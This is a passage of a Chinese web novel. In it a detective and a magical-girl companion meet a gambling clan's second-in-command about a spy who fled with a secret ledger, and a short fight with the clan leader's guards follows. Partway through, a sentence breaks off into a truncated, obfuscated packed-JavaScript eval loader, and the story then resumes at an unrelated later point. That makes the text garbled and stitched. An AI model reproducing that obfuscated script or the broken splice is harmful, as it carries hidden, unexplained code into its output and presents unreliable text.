“剩余的武警和审讯组的人我要带走。”典狱长说。 蓝发青年看向垂目青年,披风微动。 “我看见囚犯脖子上有金属项圈,控制器和相关权限留下,你可以在五分钟内通知相关人员。”垂目青年说完看向同事,“我会确认她们的行径路线,你去入口处,五分钟后我开始工作。” 蓝发青年点头,看向典狱长。 “你可以动了。”垂目青年说,“我会看着你。” 五分钟后,矿区入口,典狱长正式离开黑狱,黑天之下山区无光,她回头看向守门的蓝发青年,伸手。 “你我并非同事,不需要握手。”蓝发青年摇头。 “你的口袋里还有没拿出来的名牌。”典狱长说,“尸体无法回收的话名牌就是唯一的死亡证明了。” 青年顿了顿,再次探索自己的罩裙口袋,从底部又翻出了三个,放到了典狱长的手里。 “…我就不说感谢了。”典狱长点了点头,“方便告知你们的职务吗?” “你没有权限。”青年摇头,转身进入矿区隧道之中。 隧道比黑天更黑,将一切反常理的存在吞噬其中,铁门关上的声音传出之后,典狱长转身,面向被她通知紧急行动之后等候在矿区之外的前同事。 “…发生什么了。”武警小队长开口询问,她全副武装,手持防爆盾,背上有冲锋枪,头盔之下她往往需要使用对讲机才能与同事交流,但现在周围太安静了。 “你们的工作结束了。”前典狱长看见了朝矿区开来的车,“接下来的行动我不再参与指挥,会有人和你们对接的。” “那是谁?”另一个人看着隧道深处,“我们被优化了?” “天使。”典狱长说。 “…啥?”武警反问。 “庆幸你没被天使带走吧。”典狱长说。 56.INMATE-002 2024年4月26日,星期五,天气多云。 据知情人士透露,东流港第14号港区的码头工人代表于昨日与管理方进行闭门会议,表达对“废弃货物处理程序混乱”和“突发安检事件未及时通报”所带来的安全隐患感到担忧,并有意发起短期罢工。码头工人联合协会在本周声明中表示,“将对任何试图以个体事件抹黑整体劳动群体的行为采取合法反制”。 东部市警察局局东流港口分局昨日在第12、14与17号货仓展开例行安检行动。发言人称“未发现安全漏洞”,但有部分货舱封锁时间超过常规,引起现场调度延迟,造成小规模拥堵。 本周三晚,东,南流港工业区、市区与中心港口大道周边出现多批次无标识货运车短时间集结,居民报告“有人员搬运沉重金属罐头进入闲置仓库”,警方称“为企业物流临时转运,暂无异常。” 本地独立游戏公司“Fathom Loop”新推出的第一人称心理恐怖游戏《灯塔之后》上线48小时内好评率超过85%,但通关率却不足3%。游戏描述一名邮政员在被废弃的港口区寻找道具,并逐渐失去感知能力。 上午的课结束后,几人聚集在一起讨论下午的行动。 艾克里普与有乐羽生准备按照启明星的嘱咐前往北边的东流湾港口和大学城。 “果然分头行动比较好吧,艾克里普觉得呢?”有乐羽生问道。 艾克里普对此有些犹豫,一方面她确实并不太擅长与人打交道的事情,一方面她又有些担心有乐羽生独自一人时遇袭。 “实在不行我就跑。”有乐羽生说。 “没错,就该这样。”犬山晓赞同地点头。 “那这样的话就分头行动吧,麻烦羽生去大学城附近进行调查了。”艾克里普想了想说。 “交给我吧,之前我也去过那附近。”有乐羽生笑着点头。 “我们昨天晚上去南流岛附近看了看,也找到了Evo临时存放实验体的仓库!”森山寺未央介绍了她们的好消息。 “真是了不起!”艾克里普夸奖道,“那我一会就去销毁吧。” “事实上我们想等所有的货物都到齐后一次性全部销毁,打草惊蛇就不好了。”森山寺未雅说。 “也有道理,”艾克里普点了点头,“实验体在未被使用前是无害的,等一等也没关系,启明星侦探也说会帮忙确认状态的。” “我去找启明星侦探。”犬山晓说,“大家遇到情况一定及时说。” 几人再谈论了一会后就各自分头行动了。 犬山晓回到宿舍遵守启明星给的穿搭指南,从衣柜里翻出来一些以前根本没穿过的衣服往身上套,但却并不自信效果能有多好。 “不需要太过于纠结这方面的问题,只要不穿的像是要去健身房或者出去玩就可以,最好配色和我相似。”启明星当时是这样和她说的,犬山晓理解为需要商务着装。 但问题就在于她常穿的衣服基本上属于这两种场景,她并没有像启明星那样为体型量身定做的套装,最为正式的就是日之森校服,但这是白色的。 看着镜子里的自己,犬山晓不知道这能不能算是过关了,至少全都是黑色的,颜色这方面至少是过关了吧。 抄近路抵达启明星事务所所属的大厦后,犬山晓刚准备就去摁电梯,就反应过来今天大厦门口似乎是有些不同,她回头看向门口停着的黑色私家车,心里有些疑惑。 但这座大厦又不止启明星事务所开着门,犬山晓得不到一个准确的答案索性不去纠结了。 电梯上行,犬山晓独自站在电梯里,有点紧张于启明星一会的反应。 抵达等候区,六十七号提前等候在那里为她推开了门,一如既往地彬彬有礼,自从知道他的来历后犬山晓就一直很好奇这人身上毫无违和感的礼仪到底是从何而来。 “您有更换着装,真是帮大忙了!”六十七号的笑容恰到好处,他一点没给出建议,当然犬山晓也不指望这个人能有自己的一套审美。 启明星事务所内一如往常那样井井有条,只不过咖啡的香气比起上一次浓烈了许多,几乎淹没室内本清新的空气,启明星正在她的办公桌后整理着些什么,她将所有物品塞进一个皮质的文件包,拿起放在一旁的拐杖走向犬山晓。 “感谢您准时赴约,有了您的帮助此程定会顺利达成目标吧,事不宜迟,您若是没有什么东西落下的话就让我们出发吧。”启明星对站在沙发旁的犬山晓说。 越是看着这样的启明星,犬山晓就越发觉得自己与这两人格格不入,她欲言又止。 “您是第一次与陌生人会面谈话吗?”启明星察觉到了她的混乱,带着安慰的口吻问道。 “是的,我其实不太清楚什么样的衣服是合适的,不过总感觉我们不太一样。”犬山晓实话实说,但她同样觉得自己被启明星安慰可能不太合适,“您有意见直接说就可以,不用顾忌我的感受。” 听了这话,启明星竟像是受到了冲击一般退后两步,手掌抚着胸前的领巾表情忧郁。 “居然让您产生了这样的想法,”启明星夸张地摇头,顺手将文件包交给走近的六十七号,“您当然无需与我们一样,您是同行者,是施予援手的好心人,谁能因您的外表对您加以批判呢?” “没错没错!”六十七号配合地说。 “这样吗?”犬山晓有些不好意思,“我也不知道我看上去怎么样,但若是不会因为这个搞砸一会的谈话的话,那我做的也挺好的吧?” 启明星表情变得严肃了起来,她看着犬山晓,看着对方也因为她的打量变得紧张。 “犬山小姐,让我这样称呼您吧。”启明星说。 “是的。”犬山晓紧张地回答。 “虽然说我邀请您而不是您的同伴作为我的同行者是出于我自己的考量,但毫无疑问,您是一个强大的存在。”启明星说,“不仅仅是您作为魔法少女的能力,也同样是因为您个人。” “我吗?”犬山晓眼睛稍微睁大了,她自己实在想不出自己除了魔法少女这个身份以外还有什么好强调的,她的一切都基于魔法少女的力量而存在,是靠着她使用魔法少女的力量得到的。 可以说如果她不是魔法少女,那她将不会存在于此,甚至不会有逃离曾经的机会。所以犬山晓一直不愿意思考这样的可能性,连带着对自己的过去避之不谈,也无法相信自己作为一个人进入社会后会发生什么事。 但是她的同伴并不是单单因为她是魔法少女就与她相伴的,这令她充满希望,拥有了正视自己的力量的同时,偶尔也会产生对于找到自我价值的急迫。 “那您是因为什么而选择我的呢?”犬山晓迅速问道,但很快她就意识到这个问题实际上是不合适的。 启明星不可能单单因为她身上的某个性格特征就选择她作为同行者,更多的肯定是因为她作为魔法少女的能力,以及某些细枝末节上的不同吧。 “外表是筹码的添头,您本身的筹码储备足够富裕,为何又担心因包装不够精美就失去坐在赌桌边的机会呢?”启明星说,“从她人的眼光中了解自己是不妥的,但现在是个好机会,您若是对自己的判断不够信任,就请告诉我吧,我定会尽心尽力为同行者提供建议的。” “要问我的话也可以哦,我最近读了很多书。”六十七号也跃跃欲试地说。 “不,拜托你思考前先和我预告一下。”启明星对六十七号说。 “也可以啦。”六十七号觉得也可以。 “剩下的事情请让我们在前往目的地的路上谈论吧。”启明星说。 “那就走吧。”犬山晓点了点头。 三人下楼,六十七号为二人拉开停在楼下的黑色私家车后座的车门,自己坐副驾驶上。 司机全程没有说任何话,等副驾驶的安全带系好后就启动了汽车,车前座与后座之间有隔板,车窗只能从里面看到外面,座位是黑色皮质的,犬山晓心想要是森山寺未央的话大概又要开始晕车了。 车辆缓缓驶向大路,犬山晓回头看,大厦门前没什么人来往。 “这座大厦目前正式开放营业的确实只有我的事务所,其它楼层在物业管理下不算完全荒废,但也是没有人会使用的。”启明星介绍说。 “我以为这里作为市中心附近,应该不会出现这种情况的?”犬山晓有些意外,这里虽然不算是最核心的商业区,但地理位置上算是市区核心的一部分了。 “这处土地的借地者与所有权拥有者在2014年中旬刚开始建造时发生了些矛盾,案件最终是我解决的,事后这栋大厦差点被划入都市传说发生地之一,本来的用途也被搁置了。我找了一位可靠的房地产业朋友咨询了一番,就将其中的一层长期租下了。”启明星言简意赅地介绍了一番。 “总感觉发生了很多事情啊。”犬山晓有些好奇,“那个原本的用途我能知道吗?” “这个比起我们一会要讨论的事情不算是机密啦。”启明星笑着说,“建筑承包商是北野氏旗下位于西部另一城市的鲸岛集团建筑业务子公司,她们打算以这栋楼作为分公司地址来着。” “那为什么不用了呢?”犬山晓有些奇怪。 “鲸岛建筑派来的工程负责人,以及核心的一支队伍全都失踪了。调查结果为所有人在同一时间死亡,依据是我根据血液痕迹在地基内找到的一盒子断手,切面新鲜,断手上有一半的手表,连着手腕一起被切下,秒表统一。”启明星伸出自己的左手,她的手腕上也有一块机械表,她的食指沿着自己的手腕线横着在手臂平行的正中间划过。 “…后来呢?”犬山晓为凶手的威胁感到震惊,她想不通为什么有人要花这么大力气就为让一栋建筑建不成,更别提这栋大厦现在还是被建成了,启明星还租了用作事务所。 启明星看着犬山晓的反应笑了笑,虽然事到如今这样说很奇怪,但犬山晓觉得启明星的所作所为真的和外表有太大的反差了。而且2014年,也就是近11年之前,哪怕是按照启明星自己说的年龄来算,那时她也才17岁左右。 “后来的私人事务就不是我能管的了,得到了报酬之后不久有新的建筑施工队修建那座大厦。大概是重新立项花了些时间,大厦两年后才完工,完工之后也没有对外招租或者被使用。”启明星说。 犬山晓觉得有些奇怪,但她不知道是不是自己想太多了,想起之前启明星说有问题都可以问,她决定还是把自己想问的话说出来。 “为什么调查结果是那样呢?”犬山晓解释自己的疑惑,“我是说,一般来说先将所有人杀死,把死者手上的手表调到同一时间,再砍下来放进盒子里。这样的结果更合理不是吗?” 这对于常人来说是合理的,犬山晓这样想着,也注意到了另一种可能性。 “正如您所言,当时我也是这样想的,而‘同一时间死亡’这个结论并不是我给出的,而是我的雇主。”启明星眨了眨眼,“我的委托目的是寻找失踪人口。” 看到犬山晓欲言又止,启明星笑了。 “现实不是侦探小说,探查真相只是我的爱好,爱好与工作也不是总能重合到一起的。”启明星在笑着说话时嘴角上扬的弧度总是相同的,“并不是每个雇主都能包容我的好奇心,在思考的同时克制自己也是侦探的必修课。” “爱好与工作不能重合吗?”犬山晓叹了口气,这种时候就该叹气吧,她想。启明星所说的话也都是她的“包装”的一部分吗?怪不得艾克里普也称赞她是个聪慧的孩子。 但犬山晓就连自己的爱好是什么都想不出来,也无法想象自己的未来。吉他算是爱好吗? “总而言之让我们来聊聊这起案件的前因后果吧?虽然我也才知道部分内容,细节还需要等待一会见面的那位雇主自己阐述清楚。”启明星说着,犬山晓就想起之前她说过的东西。 “关于一个带着账本失踪的人。”犬山晓说。 “没错,这位失踪人士名叫吉田川光,细节不清楚,但既然我不清楚,那就不应该是个重要的人。”启明星理所当然地说。 犬山晓面色疑惑,犹豫这里该不该问。 “您不了解我,所以这里提出质疑也是可以的。”启明星善解人意地说,“这座城市里有头有脸有个人百科页面的角色我都记得一清二楚,例如日之森的校董会成员各自的背景,以及食堂供货商。” “记得这么多人很厉害啊!”犬山晓赞叹道。 “哪里哪里,应该的。”启明星笑了,“这位吉田川光无关紧要,但她携带着的账本重要性很高,而委托我们寻找她的下落的那位雇主更是个大人物。” “这很奇怪吧,那位雇主会不会有问题?”犬山晓感到疑惑。 “这位雇主作为朋友还是靠得住的那种,所以我才指望他能为我们提供一些有用的情报。”启明星说。 “这位雇主也是您的朋友吗?”犬山晓意外地说。 “雇主可以成为朋友,朋友也可以考虑雇佣我,但两个身份不存在重叠的机会,无论是对哪一方来说。所以您也不需要看在我的面子上太给那家伙好脸色看哦?”启明星笑着说。 “那我得戴个墨镜吧?”犬山晓无奈地说。 “咦?”启明星真心实意地疑惑了,“您只要不笑就足够有威慑力了哦?” “是,是这样吗?”犬山晓有些不好意思了。 “此番委托的雇主的名字叫做一二七,一是姓氏,您大概不太了解这个家族,那就由我来大致为您介绍一下这个家族的势力范围吧。”启明星摸出手机搜索了一番,向犬山晓展示了一些照片,“十面骰赌场就是这个家族旗下集团所有的,创始人是该家族前代首领。” 照片中的建筑可以说得上金碧辉煌了,喷泉后方的宫殿式建筑每一处都有灯光璀璨,在黑夜的背景中仿佛一整块在发光的金子一样。 “好亮眼啊。”犬山晓没什么反应,她完全不认识这个赌场,也不认识这个家族,她反而对这个家族的名字有些在意。 “您完全不了解呢,不过这样也好。这个家族的势力范围主要盘踞在更南方的城市以及国外,在这个城市里她们拥有一定数量的赌场和非官方赛马俱乐部管理权。”启明星也没有过多的解释什么,“这个家族核心管理层名字都由一个十面骰子决定,这也是名字看上去不太大众化的原因。所以虽然说是家族化管理制度,但实际上这个家族的成员血脉联系并不强。” “原来是这样!不过那为什么还要叫做家族呢?”犬山晓问道。 “具体原因不知,但目前为止,该家族的首领皆为血脉相传,可能这是原因之一吧。”启明星说道,犬山晓点了点头。 “而我的雇主,也就是一二七先生,则是该家族的二把手,同时也是上一代家族首领的养子,家族旗下集团的各种账目他都有过目的权利。包括这次丢失的账本。”启明星说。 “这么重要的东西没有云备份什么的吗?”犬山晓问道。 “这也是我好奇的,硬要说为什么账本丢了就找不到内容的话什么原因都能给,但既然委托我来找这位失踪人士,那想必我们必须认定她手里的那份就是珍贵的唯一了。”启明星说。 “所以我们这次是去找人,或者找东西的吗?”犬山晓觉得自己差不多理解了。 “如果仅仅是这样就好了,那位雇主虽然姑且算个正直的人,但那位家族首领却是一位,额,”启明星难得说话有些卡顿,“一位我无论如何都不想对话的人。” “你们见过面吗?”犬山晓觉得奇怪。 “算是吧。”启明星甚至没有在笑,“家族首领一二三四是上任首领的亲孙,但却是被二把手一二七,也就是上任首领的养子抚养长大的,不过就我的了解那也不能完全说是抚养长大,只能说是给予了间接性的陪伴吧。” “总感觉很复杂,她是个怎么样的人呢?”犬山晓问。 “确实很复杂,细节就先不多说了。”启明星想了想说,“一二三四为人脾气古怪,与家族内大部分管理层成员关系都不好,但为家族带来了足够的利益,而且重点是,她的手气很好。” “赌博的话,那就是手气很好了吧。”犬山晓说。 “是的,她的名字四个字是四个十面骰依次开出的,这件事是公开的。”启明星说,“一家族非常看重人运,一次两次还好说,长期如此就是实力的一种了。而且上一任首领更是一代传奇,被她指定的继承人,还是血脉相连的亲人,自然是有拥护者的。” “这样啊。”犬山晓虽然不理解但是觉得很厉害。 “总而言之希望这次不会与她产生交集,但是就最近种种现象来说这种可能性很小。”启明星后面那一句说的声音很小。 到底是什么样的人能让启明星侦探都不愿意与之对话呢?犬山晓心想,然后她发觉自己实际上难以想象这样的存在,这位侦探似乎对谁都能做到笑脸相迎,但说到底她与启明星还不算太熟。 启明星又向犬山晓介绍了一番一会要去的目的地,以及可能会遇到的情况,好让她到时候不会太紧张。 车辆又一次停下后,车门被拉开了,六十七号站在门外等着,手里好好地拎着文件包。 犬山晓下车,发现自己所处的位置是一处酒店的上下客区,不远处就是旋转门,空旷的大堂空间内一座约7米高的树型雕像清晰可见,那树是金色的,上面挂满了十面骰。往里看两侧是上行的楼梯,靠墙的两边有着些许柜台和服务人员。 出发到现在大概过去了二十分钟,犬山晓没怎么来过这片区域,但知道这里是城市南边的地段。 启明星下车后整理了一下领口,拄着拐杖往大堂走去,门童提前拉开门,三人进入后直接走向电梯间,使用最内侧的私人电梯直达酒店最顶层。电梯内,犬山晓就着墙面反射整理了一下衣服,想起刚才启明星说的话,自觉地扳起了表情。 “犬山小姐不用太紧张,顺利的话半小时内就能结束对话。”启明星说。 但言下之意就是可能会有不顺利的情况,犬山晓表情更僵硬了些。 电梯门开了,有侍者等候在门外,见门开了先是行了礼,随后带着三人穿过走廊并打开包间的门,并等在门外并没有和三人一同进入。 进门后第一眼就能看到视线前方占据一整面墙的巨大落地窗,以及会客厅内的陈设摆件,地毯花纹繁复,犬山晓心想这里的挂画数量和有乐羽生家里的有的一拼。 室内没什么特殊的香氛,但也没有陈旧的气息,绒面的沙发组大小恰到好处,不会让室内空旷得像是半成品,也不会让空间显得拥挤。 一个穿着全套棕色西装的男子朝启明星走去,看样貌大概30-40岁之间。他身高比六十七号矮上些许,头发束在脑后,全身上下仪表无可指摘,只有眉头习惯性地皱着。 二人脱下手套握了手之后简单地寒暄了一番,启明星将外套和拐杖交给六十七号,接过文件包后所有人到会客区入座。 一二七对于启明星身后跟着的两个人没什么意见,启明星简单介绍了一番,他也就简单地问了一下好。 金属镶边的石材不明茶几上没有什么摆件,而是放着些纸张,那人,也就是一二七在落座后将部分纸张交与启明星,她迅速地翻动几次之后就放下了。 “账目金额近一百亿,不算小了,昨天我才收到消息但事发到目前为止已经过去了两天,希望您已经做好了面对坏消息的打算。”启明星保持微笑说。 一百亿是多少?犬山晓心里盘算着这个对她而言过于陌生的数字,表情没什么波动。 “您说笑了,”一二七并没有笑,“既然能找上您那就是这件事还有被解决的可能性。” 光是看着这样的场面,犬山晓很难相信这两人是朋友,但或许大人间的友谊就是不流于表面的呢?她用余光看了一眼坐在启明星左侧的六十七号,却发现对方已经就着位置方便看着窗外发起了呆。 “那就来解答我一些必要的疑问吧?”启明星重点强调了“必要”两个字,“吉田川光难道是某位外派审计?为何这种大面额账目账本会经由她手?无论是主动还是被动都不合理的。” “当然。”一二七的语气平板无波,“这是因为吉田川光是不明势力派遣来偷窃公司机密的间谍,她处心积虑混入财务部门就是为了这样的目的。” “为了偷窃这个账本?” “自然如此。” “那这份账本的特殊之处是什么呢?” “…”一二七看向启明星,紧张的却是犬山晓,她不认为这个面容严肃的男人能伤害到她们,但她担心委托出现问题。 “找人可不比找猫狗,信息自然是越多越好啦。”启明星笑容丝毫未变。 “…这份账本记录的金额都是需要被特殊处理的。”一二七说,他的声音很沉。 “这样啊,”启明星恍然大悟,“那不应该是消失了更好吗?还是说这个账本的存在有什么必要吗?有了原因我才好找到‘不明势力’嘛。” “当然是为了家族的稳定以及获利,启明星侦探想必最近也因市区动乱而烦心吧。”一二七面无表情地说,“我们也希望尽量在这场动乱中维持自身的立场,并且借此机会名正言顺地更进一步。” “…那就不奇怪了,”启明星不知道想到了什么,若有所思道,“那就以此为准吧,可能会有动机的对象除了你们的老对头以外,大概也没什么对你们有威慑力的存在了吧,除了一个。” 启明星看着一二七开口,“盘踞在港口的天不渡,这些人偶尔也会想看看其它家的生意做的怎么样吧。” “与这件事无关。”一二七迅速地否认了。 “怎么会无关呢,您带来的资料中的信息也与天不渡的作风吻合吧,若是要否定的话可否给我一个合适的理由呢。”启明星笑着说。 “不需要理由,你要是真的认真看信息了就会知道我说的是对的。” “就是认真看了我才这样说,对鄙人的职业素养进行贬低可真是不好。” “…你对雇主的态度该改改了,将目光放在目标上才是妥当的做法吧。” “将目光放在目标上发现路径上存在着不可饶过的信息那就不得不停下观看了不是吗,与其否认我的做法不如否认我的想法。” “你若是沿着这条路走最后之后一无所获,这是浪费时间,这就是理由。” “…这不是理由,您这是在指导一个侦探如何调查线索吗?指导我启明星?” “是又如何?你别忘了现在你也算是家族外部合伙人,按照规矩你就该听我说的做。” “哈哈哈瞧您说的,合伙人不就是给予专业方面的帮助的人吗?您都这样推着我走了我该如何给予专业帮助?” “到底要我怎么说你才能理解你这样想只是在做无用功?还是说你又在旁敲侧击什么东西了?这次说情况不一样,不要搞这些小动作。” “小动作有没有用是结果说的算,我哪次没给您一个满意的回复?合作这么多次了不如就这次别像个侦探剧里的警探一样质疑我的做法了如何?” 二人情绪平静但语速越来越快,启明星保持微笑,一二七保持面无表情,但两人间气氛就是越来越僵硬,仿佛下一刻就要不欢而散了一样。 “那些人与这件事无关,”一二七的语气带上了威胁,“这句话由我负责。” 这个时候是不是该做些什么?犬山晓看看两个人又看看还在发呆的六十七号,几乎要维持不住自己的表情了。 “…好吧,如您所言。”启明星笑了笑,“那就来看看别的东西吧。” 气氛一下子就松懈了下来,启明星拿起桌面上的纸张。 “那接下来就该去这里进行调查了吧?”启明星说着,“吉田川光最后出现在监控中是在两天前的傍晚,随后监控记录丢失,但现场留下了她的血迹。” “这里就是您的专长了,”一二七郑重地说,“请您务必,尽快找到这个人,和这个账本,并把它们带回来给我。” “…当然。”启明星眼睛眨了眨。 忽然,电话振动的声音响起,但这个包厢理应不存在信号,除非是紧急通话。 启明星知道并不是自己的手机,她看向一二七,发现对方的表情一瞬间变得十分凝重,甚至有些像是在忍耐痛苦,面色都白了几分。 “请自便。”启明星说,她忽然就有种不好的预感。 一二七点了点头,带着手机去了隔间。 “没关系了吗?不吵架了吗?”犬山晓紧张地问。 “诶结束了吗?”六十七号回过神来。 “不如说刚开始,而且我总有种不好的预感。”启明星抿了抿嘴,“犬山小姐,一会可能会需要您出场,请看我眼色行事。” “哦好,那我坐您左边吧。”犬山晓点了点头。 “好吧。”六十七号失望地与犬山晓换了座位。 不一会,一二七就回到了会客厅,他看上去与离开前没什么不同,但启明星看着他走回沙发坐下,愣是看出了一种员工被通知加班的疲惫感。 “我们的首领,一二三四大人希望与您会面。”一二七面无表情地说。 “…这个案件的委托人居然是如此大人物,”启明星保持微笑说,“具体时间是?” 下一秒,包厢的门被侍者打开了,按理来说包厢外的走廊也是安静的,但此时随着空间隔阂被取消,噪音莫名就多了起来。 皮鞋在瓷砖上踢踏作响,来者并非一人,启明星站了起来,犬山晓和六十七号也跟着站了起来。一二七站了起来,有些匆忙地朝门口走去。 比身影先抵达门口的是布料摩擦的声音,随后是声音制造者,一位身披经典款式方格纹西装外套的青年,她最为显眼的是那头如狮子围脖般蓬松的长发,令人眼花缭乱地搭在花哨的外套上,展现着其不可忽视的存在感。 启明星对那张脸不算陌生,那位经常登上杂志报纸的前任家族首领与这位有着相似的眉眼,但一二三四的眼睛几乎是瞪着的,与那位像是在思考般的垂眸不同,让启明星想起在搜寻猎物的肉食动物。 “七叔,别来无恙啊!”一二三四像个健谈的小辈一样笑着和一二七打了招呼,她插在口袋里的双手没拿出来,只是朝对方象征性地点了点头。 “承您吉言,”一二七的神色并没有因此就放松几分,“让我来介绍一下吧。” “不,不用,”一二三四眼睛直直地看向启明星并朝她走了过去,步伐缓慢但每次都跨度可观,“我怎么会不认识这位为家族排忧解难多次的侦探,久仰大名,您果然如传言那样,身姿令人难忘。” 说罢,她伸出右手像是要握手,启明星垂眼,不出意外地发现对方没摘手套。 “那可真是令鄙人感到荣幸,您的身影也是如此令人难忘,有这句话再困难的任务鄙人都定会全力以赴。”启明星笑着摘了手套与之握手,象征性地触碰了一下后就松开了。 跟在一二三四身后的那些人大多神情疲惫或紧张,但依旧前仆后继地跟上了她的脚步,本宽敞安静的空间一瞬间变得拥挤而吵闹了起来。 “哎呀,瞧瞧这是什么,启明星侦探?”一二三四走到茶几边上,微微俯身,单手指尖翻动起了桌上的纸张,毫无章法的乱翻让本来整齐的桌面变得凌乱了起来。 “是关于吉田川光的案件细节,刚刚我与启明星侦探在讨论调查内容,现在她正要出发前往现场,您若是希望得知细节就由我来介绍。”一二七在一旁解释道。 但一二三四只是扔下了那些纸张,部分飘落在地板上,她看都没看一二七一眼,只是直勾勾地看着启明星,因为高低差,这几乎是在单方面的俯视。 此人一出场就让犬山晓内心警铃大作,即使对方没有和她对话,但那存在感近乎是侵入式的,她去观察启明星的眼睛,却发现她的目光与往常并没有什么不同。 “当然,鄙人乐意至极。”启明星笑着说,“劳烦您大驾光临这座城市,虽然没有茶水招待,但也请坐吧。” “…哼。”一二三四收敛了笑容,将外套一扔,坐在了沙发上,一二七顺手就捞起了外套,并抖了抖挂在一旁的衣架上。包括他在内的所有人站在沙发后方,一二三四把腿搭在茶几上,皮鞋压着纸张,双臂环抱。 这样一看一二三四居然是在场的人里最年轻的那个,但她既不尊老也不爱幼就是了。 启明星也坐下,犬山晓非常自觉地站在沙发后面,也拉着想坐下的六十七号站了过去。 “那么关于这件事您想从哪里开始了解呢?”启明星将手覆盖在双腿交叠的膝盖上方。 “以问题来开始对话,你是警察吗?”一二三四嗤笑了一声,她的声音非常响亮。 “那就从最基础的开始吧,吉田川光作为间谍带着大额账本潜逃。”启明星说。 “这个还用你说?”一二三四不耐烦地说,她一边的眉毛扬起轻蔑的角度。 这不是你问的吗?犬山晓感到不适,一二三四光是坐在那里就在不分你我地施加压力,一开口,在场的所有人除了六十七号,都会莫名感到疲惫。 “是鄙人唐突了。”启明星笑了笑,“一二七给鄙人带来的相关信息中包含了吉田川光最后出现的地点,现场留下了她的血迹,这就是下一步调查目标。以上就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“到时候如果对方要求太过分了就是在试探我们的底线和势力,到时候麻烦犬山小姐帮我镇住对方。”启明星之前是这样和犬山晓说的。 “镇住,是指什么?”犬山晓不太理解。 “分情况吧,如果对方只是蠢蠢欲动的话那就威吓一下,如果对方即将动手了那就给点颜色看看,总之让对方蠢蠢欲动的手收回去就算成功。。”启明星是这样说的,犬山晓不知道两者的区别是什么,但她是这样想的:如果只是动手的话六十七号也能做到,那既然专门拜托她做这件事,那就是要做六十七号做不了的事情。 那一定是为启明星侦探发声吧!犬山晓心想,启明星侦探一定是有些话不太方便直接说,那就由她来说吧! 但启明星认为六十七号做不到的事情更基础一点,那就是看眼色。若是让六十七号这样做,那他要么全程盯着启明星的脸看要么干脆就全程发呆。 总之先重复一下启明星侦探的想法吧,犬山晓心里有了决断。 “明天不行吗?”犬山晓问。 “哈?”“你谁啊?”“?”没有得到任何正面答复,但不知为何一二七的神色痛苦了些许。 但这也让一二三四注意到了犬山晓的存在,她看向这个站在后面的人,带着审视的目光将对方全身上下扫了一遍。 “侦探,”一二三四嘲笑道,“你从哪里找了个这么个矮子当保镖?” 虽然知道自己比身边的人都矮一些,也不太在意这个问题,但第一次被这样嘲笑身高的犬山晓被一二三四直白的嘲讽击中了,她不可置信地看向对方,却发现对方连看都没有正面看向自己。 这就是社会吗?犬山晓觉得自己应该说些什么,但她又不知道该说什么。她一瞬间觉得自己好无能。 “犬山小姐是鄙人邀请的同行者,并不是保镖,请慎言。”启明星的笑容收敛了些。 听到姓氏后一二三四的视线再次往犬山晓的身上投去,但很快她就收回了。 “效果而言不是差不多?还是说你只是想让自己看上去没那么突兀?这样的做法有失关怀吧?”一二三四不留情面地嘲讽,她下巴扬起,几乎是在坐着俯视对面的人。 “咦?”六十七号察觉到了不对,“我觉得我很高啊?” “…我说了你在思考前要向我报告吧?”启明星看向六十七号,不出意外,一二三四那边的人都面带嘲讽地看着她们,除了一二七,他很疲惫。 “犬山小姐,我是不是和你说过,不知道的事情可以问我?”启明星叹了口气,看向犬山晓。 “…我是不是又搞砸了什么?”犬山晓沮丧地问,她甚至不知道自己该问什么,只能用这样的回应去向承受压力的启明星道歉。 “怎么会呢?我可是启明星,没什么好道歉的,因为结果总会偏向我想要的那个选择。”启明星笑了,“我来猜猜看,或许您想问,这个时候该说些什么去回应对面比较好呢?” “…是的,但这会不会不太好?”犬山晓问。 “你们两个,自顾自地在聊什么呢?”一二三四质问的声音传来,犬山晓看向她,发现她的笑容消失了。 说到底,这位首领无论是否清楚自己是无礼的,都不允许任何人无视或者反对她。 “不,我们是同行者,您得到重视就是我得到重视。”启明星说,“但您的回应可以根据您想要的结果来决定,您是想出一口气,还是让对方答应您的要求?” “喂。”一二三四得不到回应,脸色冷了下来,她身后的人也有所动作。 “我想让对方答应要求,因为我并不生气。”犬山晓如实回答,因为身高并不是她的痛处,哪怕对方再如何嘲笑她都只会觉得莫名其妙,只是因为对方言辞间的轻视感到了不舒服。 “没有感情前提下让对方答应要求无非威逼利诱,对方态度坚决,不会倒戈。”启明星想了想说,“让对方害怕吧。” “害怕,她吗?我该怎么做呢?”犬山晓还是不理解要怎么做才能让对面的人退缩。 “…”一二三四瞪着的眼睛眯了起来,瞳孔合在眼眶里显得深沉,启明星觉得现在的她看上去更像是她的祖母了。 “抱歉,这件事是我没有提前说明。”一二七知道这是她真的生气了,连忙道歉,但一二三四只是回头看了一眼,他就不说话了。 “对方不过是在仗着人多试探我们的底线而已,刚刚开口的三人是负责护卫的人,击倒她们就可以。”启明星刻意让对面的人听到她在说什么,“其中二人带枪,三人均带刀,最右边的那个人是最强的。” “啊还有,”启明星补充道,“最好不要弄坏这里的设施。” 犬山晓看向对面三人。 “愣着做什么?”一二三四斥责道。 最右边那个人先动了,她本就一直放在口袋里的那只手瞬间掏出,停住的一瞬间就要扣动扳机,但目标却不见了,大感不妙之下她向后退去,但比那更快的是落下的犬山晓,在多人的注视下她无法使用魔法,但她本身身体机能就足以应付这一切。 而且之后还要合作的话,不要下死手比较好吧,犬山晓心里这样想着。 “卡拉——”这是手骨断在袖子里的闷响,随后她抓着那人的下巴一个翻身,将她整个人摔在地上,头着地晕了过去。 剩下的两人中持枪的那个迅速开枪,没有顾及生死不明的队员,犬山晓头都没有回,向前一扑,子弹只擦中了她的发丝,她双手撑地旋身一踢,持枪的那人便一一个看了会觉得腰痛的姿势倒下了。 与此同时剩下那个举刀砍向犬山晓,笃定她在这个状态下无法回避。确实无法回避,也不需要,那闪过刀刀光在挨到她手臂皮肤上之后留下了浅浅的红痕,犬山晓旋身完毕后抬手抓住那把刀,一用力刀就碎了。 最后她一巴掌扇在那人脑袋上对方就昏过去了。 整个过程耗时没有超过4秒,第4秒犬山晓站起来后,所处位置在一二三四的正后方。 一二三四没有回头,犬山晓看向她蓬松的后脑勺,心想对方反应还挺慢。 “愣着干嘛?带去治疗啊。”一二三四头也不回地命令道,她的声音没有出现颤抖。 